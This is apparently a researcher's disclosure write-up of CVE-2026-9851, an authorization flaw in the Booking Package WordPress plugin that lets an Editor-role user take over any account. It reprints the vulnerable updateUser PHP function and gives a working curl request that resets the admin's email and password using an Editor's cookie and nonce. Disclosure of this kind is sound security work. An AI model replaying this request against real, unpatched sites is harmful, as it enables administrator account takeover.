From Editor Role to Administrator Account Takeover: Anatomy of CVE-2026-9851 in a WordPress Plugin

Booking Package is a popular WordPress plugin designed for managing appointments, reservations, events, room rentals, and other types of online bookings directly from a WordPress website. Since its release, the plugin got more than 1.1 million downloads and is currently active on over 10,000 WordPress sites. With that level of adoption, even a small authorization mistake can place a significant number of websites and their users at risk.

The Vulnerability

During the security testing, I focused on the functionality available to an Editor-level user. Why ? Because this plugin manages appointments, reservations etc. which involves handling customer and client accounts.

Inside the WordPress dashboard, the editor role account have access to its booked-customer management page, where user information could be viewed and updated.

At first, this appeared to be normal functionality for managing booking customers. However, it raised an important question: was the update operation restricted to customers created or managed by the plugin, or could an Editor use it to modify any WordPress account?

While I was reviewing the page source and the requests made by the plugin, I identified a shared AJAX action named package_app_action. The page also shows a valid nonce for the logged-in Editor role account. So I started checking the source code for anything related to user account update. To do it easily I searched for any call to the WordPress core function wp_update_user and I found it ! They used this function with a mode called updateUser which routes the request to the the function updateUser from lib/Schedule.php file. You can check the function below

public function updateUser($administrator, $accountKey){

    $isExtensionsValid = $this->getExtensionsValid();
    if ($isExtensionsValid === false) {

        $response['status'] = 'error';
        $response['error_messages'] = __("Member related functions are not available", 'booking-package');
        return $response;

    }

    global $wpdb;
    $table_name = $wpdb->prefix . "booking_package_users";
    $response = array("status" => "error");
    $userId = 0;

    $currentUser = wp_get_current_user();
    if ($administrator === 0 && $currentUser->user_login !== sanitize_text_field($_POST['user_login'])) {

        $response['error_messages'] = 'Error';
        return $response;

    }

    $user = get_user_by('login', sanitize_text_field($_POST['user_login']));
    if ($user === false) {

        return $response;

    } else {

        $userId = $user->ID;
        $userOldEmail = $user->user_email;

    }

    if (intval($userId) == 0) {

        $response['error_messages'] = "Not found user ID.";
        return $response;

    } else {

        $customUserFields = array(
            'TEXT' => array(),
            'SELECT' => array(),
            'CHECK' => array(),
            'RADIO' => array(),
            'TEXTAREA' => array()
        );

        if (isset($_POST['customUserFields']) === true) {

            $customUserFields = json_decode(
                sanitize_text_field(stripslashes($_POST['customUserFields'])),
                true
            );

        }

        $login = 0;
        $status = 1;
        $hash = 0;
        $userdata = array('ID' => $userId);

        if (isset($_POST['user_email'])) {

            $userdata['user_email'] = $_POST['user_email'];
            $hash = wp_hash(
                sanitize_text_field($_POST['user_email']) .
                sanitize_text_field($_POST['user_login']) .
                date('U')
            );

        } else {

            $hash = wp_hash(
                sanitize_text_field($userOldEmail) .
                sanitize_text_field($_POST['user_login']) .
                date('U')
            );

        }

        if (isset($_POST['user_pass'])) {

            $login = 1;
            $userdata['user_pass'] = $_POST['user_pass'];

        }

        $user = wp_update_user($userdata);
        if (is_wp_error($user)) {

            $response['error_messages'] = "Update error.";
            return $response;

        } else {

            if ($administrator == 1) {

                $status = intval($_POST['status']);

            }

            $bool = $this->update_profile(
                $userId,
                $_POST['user_email'],
                $status,
                $customUserFields,
                $hash
            );

            if ($login == 1) {

                $userdata = array(
                    'user_login' => $_POST['user_login'],
                    'user_password' => $_POST['user_pass'],
                    'remember' => true
                );

            }

            $response['status'] = 'success';
            $response['login'] = $status;

            do_action(
                'booking_package_updated_user',
                array(
                    'user_id' => $userId,
                    'user_login' => $_POST['user_login']
                )
            );

            return $response;

        }

    }

}

As you can see its checking if $administrator == 0 but the plugin calls the function from index.php like the following

$response = $schedule->updateUser(1, null);

The function call sends 1 which skip the condition and run the updates from user supplied username ! It simply get the user details and placed into $userdata and finally passed it to wp_update_user WordPress function! After checking this I obtained the nonce for the editor role account and build a cURL command like the following (For saving time, I used ChatGPT to build the curl command quickly)

curl -X POST 'http://localhost/wordpress-research/wp-admin/admin-ajax.php' \
  -b 'wordpress_logged_in_a4d85ccc5350c9dd13975aa6dc414487=editorUser%7C1773869078%7CvwEw4fMvEHftIUMd3pJeuaIqQlZJn2QjxzLiqkUX0Ju%7C055156fe832d31d39c4dc2fc5ac5bee807f3b05cbd00f1fd3fc01716aea68c44' \
  -d 'action=package_app_action' \
  -d 'nonce=37d20db7aa' \
  -d 'mode=updateUser' \
  -d 'user_login=admin' \
  -d 'user_email=admin@example.com' \
  -d 'user_pass=NewPass123!@#' \
  -d 'status=1' \
  -d 'customUserFields={"TEXT":[],"SELECT":[],"CHECK":[],"RADIO":[],"TEXTAREA":[]}'

The server returned a successful response like the following :

{"status":"success","login":1}

After getting the success response, I tried to login to admin account and it worked !! So the impact is clear, an editor-level user can easily takeover any account including Admin ones !

Disclosure Timeline

  • Mar 17, 2026 : I reported the vulnerability through Wordfence Intelligence
  • May 28, 2026 : The report was validated and CVE-2026-9851 was assigned.
  • June 5, 2026 : The CVE was disclosed publicly.

References

Written By
Photo of Md. Moniruzzaman Prodhan

Md. Moniruzzaman Prodhan

Director, Security Research & Programs

A cybersecurity professional working across training, security assessments, and research. Founder of the Knight Squad community and Director, Security Research & Programs at Knight Squad Academy. Has delivered cybersecurity training for multiple government agencies in Bangladesh, with hands-on experience in VAPT/penetration testing, malware analysis, reverse engineering, and AI security testing. Actively involved in responsible vulnerability research, including 0-day hunting, and contributes to the community as an event director and CTF challenge creator for KnightCTF and BDSec CTF.